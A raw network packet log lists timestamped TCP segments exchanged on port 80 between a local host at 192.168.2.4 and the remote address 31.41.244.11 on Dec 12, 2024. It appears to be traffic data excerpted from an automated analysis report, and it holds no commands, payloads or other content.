Dec 12, 2024 14:26:11.110100985 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.110157967 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.110577106 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.110652924 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.111325979 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.111366987 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.111536980 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.111632109 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.112713099 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.112731934 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.112768888 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.112796068 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.113658905 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.113702059 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.114129066 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.114181995 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.114856958 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.114902020 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.114972115 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.115056992 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.240462065 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.240582943 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.240684032 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.240751982 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.241050005 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.241091013 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.241131067 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.241131067 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.241887093 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.241939068 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.242197990 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.242295027 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.242810965 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.242855072 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.242985964 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.243026972 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.243808031 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.243899107 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.243927956 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.244009972 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.244857073 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.244901896 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.244915009 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.244940042 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.245847940 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.245939016 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.246453047 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.246490002 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.246903896 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.246978045 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.247086048 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.247132063 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.248027086 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.248116970 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.248126984 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.248159885 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.248964071 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.249104977 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.249396086 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.249459982 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.250063896 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.250106096 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.250385046 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.250442028 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.251061916 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.251111031 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.251167059 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.251260996 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.252170086 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.252182007 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.252309084 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.253055096 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.253098965 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.253520966 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.253567934 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.254129887 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.254151106 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.254172087 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.254204035 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.255098104 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.255186081 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.255997896 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.256084919 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.256175995 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.256261110 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.256468058 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.256510019 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.257453918 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.257514954 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.257539034 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.257570028 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.258497000 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.258564949 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.258565903 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.258618116 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.259321928 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.259370089 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.259944916 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.260060072 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.260338068 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.260380983 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.260682106 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.260756016 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.261312008 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.261362076 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.261487961 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.261531115 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.262342930 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.262428999 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.262487888 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.262532949 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.263674974 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.263731003 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.263756990 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.263776064 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.264559984 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.264663935 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.264751911 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.264847994 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.265527010 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.265594006 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.265927076 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.265973091 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.266591072 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.266644955 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.266699076 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.266736031 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.267657042 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.267707109 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.267744064 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.267744064 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.268681049 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.268732071 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.268956900 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.269046068 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.269557953 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.269629002 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.269666910 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.269706964 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.270562887 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.270607948 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.270864964 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.270925999 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.271610975 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.271661043 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.271706104 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.271747112 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.272600889 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.272667885 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.272695065 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.272839069 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.273657084 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.273679018 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.273722887 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.273751020 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.274688005 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.274755001 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.274787903 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.274869919 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.275857925 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.275937080 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.275990009 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.276031017 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.276801109 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.276860952 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.276863098 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.276913881 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.277898073 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.277954102 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.278229952 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.278266907 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.278803110 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.278870106 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.279476881 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.279516935 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.279951096 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.279994965 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.280026913 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.280044079 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.280883074 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.280929089 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.281235933 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.281280041 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.281912088 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.281951904 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.282356977 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.282394886 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.282963037 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.282978058 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.283030033 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.283030033 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.283941984 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.283994913 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.284027100 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.284111977 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.284981966 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.285033941 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.285912037 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.285994053 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.286206961 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.286223888 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.286276102 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.286276102 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.287046909 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.287096024 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.287405968 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.287476063 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.288065910 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.288196087 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.289128065 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.289141893 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.289155006 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.289242029 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.289242983 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.290184021 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.290196896 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.290371895 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.291201115 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.291260004 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.291444063 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.291491985 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.292206049 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.292265892 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.292586088 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.292630911 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.293240070 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.293375969 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.293386936 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.293420076 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.294286966 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.294353008 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.432584047 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.432600021 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.432646036 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.432775021 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.432836056 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.432857037 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.432883024 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.432931900 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.433854103 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.433896065 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.434005976 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.434046984 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.434866905 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.434938908 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.435117006 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.435156107 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.435919046 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.435991049 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.436050892 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.436139107 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.436924934 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.436944008 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.436980963 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.436995029 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.438150883 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.438257933 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.438565016 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.438700914 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.439124107 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.439162970 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.439532995 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.439585924 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.440043926 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.440150023 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.440306902 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.440357924 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.440999031 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.441037893 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.441190004 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.441274881 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.442065954 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.442110062 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.442130089 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.442176104 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.443098068 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.443160057 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.443205118 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.443275928 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.444089890 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.444128990 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.444334984 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.444412947 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.445149899 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.445167065 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.445197105 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.445235968 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.446257114 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.446301937 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.446314096 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.446352005 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.447158098 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.447195053 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.447292089 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.447350979 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.448378086 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.448395967 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.448429108 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.448456049 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.449244022 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.449294090 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.449305058 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.449357033 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.450417042 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.450519085 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.450568914 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.450623989 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.451399088 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.451447964 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.451622009 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.451694012 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.452344894 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.452505112 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.452521086 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.452559948 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.453429937 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.453447104 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.453496933 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.453497887 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.454371929 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.454443932 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.454482079 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.454529047 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.455395937 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.455451012 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.455718040 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.455760956 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.456710100 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.456748962 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.457067966 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.457115889 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.457696915 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.457746029 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.457782984 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.457835913 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.458540916 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.458559990 CET	80	49758	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:11.458597898 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.458611965 CET	49758	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:11.459537983 CET	80	49758	31.41.244.11	192.168.2.4
